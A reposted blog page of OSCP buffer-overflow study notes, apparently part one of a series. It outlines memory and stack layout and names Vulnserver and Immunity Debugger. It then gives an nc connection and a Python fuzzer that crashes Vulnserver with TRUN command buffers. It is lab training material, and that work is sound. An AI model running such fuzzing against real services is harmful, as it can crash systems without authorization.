OSCP Learning Notes - Buffer Overflows(1)

最新推荐文章于 2025-08-08 11:09:55 发布

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最新推荐文章于 2025-08-08 11:09:55 发布

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原文链接：http://www.cnblogs.com/keepmoving1113/p/11074706.html

博客介绍了缓冲区溢出相关内容，包括内存和栈的剖析、模糊测试。还提及了测试工具Vulnserver和Immunity Debuger。详细说明了在Windows系统打开Vulnserver程序，从Kali Linux连接并编写Python模糊测试脚本，最终导致Vulnserver崩溃的测试过程。

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Introduction to Buffer Overflows

Anatomy of Memory

Anatomy of the Stack

Fuzzing

Tools: Vulnserver - https://github.com/stephenbradshaw/vulnserver

Immunity Debuger - https://www.immunityinc.com/products/debugger/

Vulnserver Test

1. Open the vulnserver program on windows os.

2. Connect to the vulnserver from Kali Linux.

nc -nv 10.0.0.XX 9999

3.Write the Python fuzzer test script on Kali Linux

 1 #!/usr/bin/python
 2 import socket
 3 import sys
 4 
 5 buffer=["A"]
 6 counter=100
 7 while len(buffer) <= 30:
 8     buffer.append("A"*counter)
 9     counter=counter+200
10 
11 for string in buffer:
12     print "Fuzzing vulnserver with %s bytes" % len(string)
13     s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
14     connect=s.connect(('10.0.0.XX',9999))
15     s.send('TRUN /.:/' + string)
16     s.close()